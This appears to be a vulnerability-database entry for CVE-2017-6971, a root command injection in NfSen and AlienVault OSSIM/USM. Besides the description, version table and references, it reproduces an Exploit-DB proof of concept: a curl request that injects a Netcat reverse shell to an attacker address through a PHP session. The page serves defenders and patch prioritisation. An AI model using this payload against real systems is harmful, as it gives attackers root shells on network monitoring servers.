CVE-2017-6971
Description
AlienVault USM and OSSIM before 5.3.7 and NfSen before 1.3.8 allow remote authenticated users to execute arbitrary commands in a privileged context, or launch a reverse shell, via vectors involving the PHP session ID and the NfSen PHP code, aka AlienVault ID ENG-104862.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
NfSen < 1.3.7 / AlienVault OSSIM 5.3.4 - Command Injection
# Exploit Title: NfSen/AlienVault remote root exploit (IPC query command injection)
# Version: NfSen 1.3.6p1, 1.3.7 and 1.3.7-1~bpo80+1_all. Previous versions are also likely to be affected.
# Version: AlienVault 5.3.4
# Date: 2017-07-10
# Vendor Homepage: http://nfsen.sourceforge.net/
# Vendor Homepage: http://www.alienvault.com/
# Software Link: https://sourceforge.net/projects/nfsen/files/stable/nfsen-1.3.7/nfsen-1.3.7.tar.gz/download
# Exploit Author: Paul Taylor / Foregenix Ltd
# Website: http://www.foregenix.com/blog
# Tested on: AlienVault USM 5.3.4
# CVE: CVE-2017-6971
1. Description
A remote authenticated attacker (or an attacker with a stolen PHP Session ID) can gain complete control over the system by sending a crafted request containing control characters and shell commands which will be executed as root on a vulnerable system.
2. Proof of Concept
# From a linux bash prompt on the attacker's machine:
# Set target IP
targetip='10.100.1.1'
# Set desired command to inject (in this case a reverse shell, using Netcat which is conveniently available on an AlienVault USM All-In-One):
cmd='nc -ne /bin/bash 10.100.1.2 443';
# Set the PHPSESSID of an authenticated session which has *already* submitted at least one valid NfSen query for processing via the Web UI.
PHPSESSID='offq09ckq66fqtvdd0vsuhk5c7';
# Next use curl to send the exploit
curl -o /dev/null -s -k -b "PHPSESSID=$PHPSESSID" -d "process=Process&output=custom+...&customfmt=%0A.%0Arun-nfdump%0Aargs=-h; $cmd #" https://$targetip/ossim/nfsen/nfsen.php
3. Solution:
Update to latest version of NfSen/USM/OSSIM
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| alienvault | ossim | {"endIncluding":"5.3.6"} | |
| alienvault | unified_security_management | {"endIncluding":"5.3.6"} | |
| nfsen | nfsen | {"endIncluding":"1.3.7"} | |
References
- https://sourceforge.net/p/nfsen/news/2017/01/nfsen-138-released---security-fix/
- https://www.alienvault.com/forums/discussion/8325/
- https://www.alienvault.com/forums/discussion/8698
- https://www.exploit-db.com/exploits/42306/
- https://sourceforge.net/p/nfsen/news/2017/01/nfsen-138-released---security-fix/
- https://www.alienvault.com/forums/discussion/8325/
- https://www.alienvault.com/forums/discussion/8698
- https://www.exploit-db.com/exploits/42306/
CWEs
CWE-74
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.